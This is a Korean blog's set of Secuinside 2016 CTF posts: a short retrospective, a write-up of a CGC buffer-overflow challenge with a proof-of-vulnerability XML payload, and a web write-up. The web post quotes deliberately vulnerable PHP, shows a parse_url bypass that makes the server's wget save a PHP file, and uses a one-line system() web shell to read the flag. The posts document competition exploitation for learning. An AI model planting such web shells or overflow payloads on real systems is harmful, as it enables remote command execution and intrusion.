shpik's world!

'0x400 CTF/0x402 Secuinside 2016'에 해당되는 글 3건

  1. Secuinside 2016 후기
  2. [CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts
  3. [Web] trendyweb - 100pts

Secuinside 2016 후기

0x400 CTF/0x402 Secuinside 2016


우선 수고해주신 인하대 init 팀원들에게 감사를 전합니다.


처음에 CGC문제를 봤을 때 뭔 거지같은 문제지 라고 생각했는데 꾸역꾸역 엄청난 시간의 삽질 결과 CGC문제를 전부다 풀게 되었고,


Web은 trendy~ 100점 하나밖에 못 풀었는데,


Web 250점 SBBS는 template injection을 알고 있음에도 못 푼것이 화가 나고,

Pwn 400점 Ownmyweb은 XXE까지는 좋았으나, 그 뒤에 뭘 할지 모르는 상황이었다.


결론은 실력 부족을 많이 느낀 대회였으며, 다시 공부를 해야겠다.


'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13

[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts

0x400 CTF/0x402 Secuinside 2016



문제에 대한 정보이다.


이 문제는 CGC이며 https://github.com/CyberGrandChallenge 에서 정보를 얻을 수 있었다.


CYKOR_00001은 cykor_00001파일에 대한 취약점을 PoV로 만들어 서버에 보내는 문제이다.

CYKOR_00001_patch는 cykor_00001파일에 대한 취약점을 패치한 파일을 서버에 보내는 문제이다.


IDA를 통해 분석한 결과, What is your message?다음에 H4PPY_S3CUINSID3라는 문자열이 나오는지 체크 한 후

+ Are you serious? 다음에 문자열을 입력 받는다.


조건에 맞춰 긴 문자열을 입력할 시 다음과 같은 segmentation fault가 일어남을 확인하였고, gdb를 통해 디버깅한 결과 eip가 덮어져 bof취약점이 있음을 확인하였다.




이를 토대로 만든 PoV파일은 다음과 같다.

<!-- CYKOR_00001.PoV -->

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
<cbid>CYKOR_00001</cbid>
<replay>
    <read echo="yes"><delim>\x0a</delim><match><data>What is your message?\x0a</data></match></read>
    <write echo="yes"><data>H4PPY_S3CUINSID3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGG111122223333444455556666777788889900001111\x0a</data>
    </write>
<read><length>1</length></read>
</replay>
</pov>

이를 서버에 전송하여 CYKOR_00001의 flag를 얻었다.


위에서 찾은 bof발생 지점이 0x80사이즈 만큼 가져오기에 일어나는데 이를 0x40로 바이너리 패치하여 서버에 보내주면 CYKOR_00002_patch의 flag를 얻을 수 있다.


현재 서버가 닫혀서 사진을 구할 수가 없다.

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13

[Web] trendyweb - 100pts

0x400 CTF/0x402 Secuinside 2016

해당 문제에 대한 주어진 정보이다.


/(root)에 있는 flag를 읽는 것이 목적이다.


문제에서 Source가 주어졌으며 이를 분석해보자.

(https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859)


<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!
$session_path = '';
	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }
	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}
	session_start();
	register_shutdown_function('onShutdown');
	function set_context($id) {
		global $_SESSION, $session_path;
		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);
		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}
	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}
	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

ini_set('allow_url_fopen', 'On');

allow_url_fopen이 On되어있는걸로 봐서 LFI나 RFI취약점이 있을거라 예상하였다.


우선 사이트로 접속을 해보면 엑박이 페이지에 출력된다.

http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png

상위 폴더로 올라가보면 Directory Listing 가능하다.

http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/


존재하는 파일은 pickle이다.

pickle의 내용은 쓸모가 없는 내용이다.


다시 Source로 돌아가보면 download_image를 통해 이미지를 다운로드 하는데 POST값으로 image를 넘기고, 이 값에 parse_url한 값의 path부분이 /avatar.png인 경우 wget명령어를 통해 이미지 파일을 다운 받는다.


"http://0.0.0.0/avatar.png?n=shpik"의 주소에서 parse_url의 path부분은 /avatar.png가 되므로 ?뒤에 .php를 붙이는 것으로 parse_url를 우회하여 다음과 같은 웹쉘을 업로드 하였다.


<?php system($_GET['c']);?>

이를 통해 /(root)에 `flag_is_heeeeeeeereeeeeee`란 파일이 존재함을 알았다.


http://chal.cykor.kr:8082/data/f1aee8633e39c4445404/avatar.png%3f3.php?c=/flag_is_heeeeeeeereeeeeee


flag is

1-day is not trendy enough  ]

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13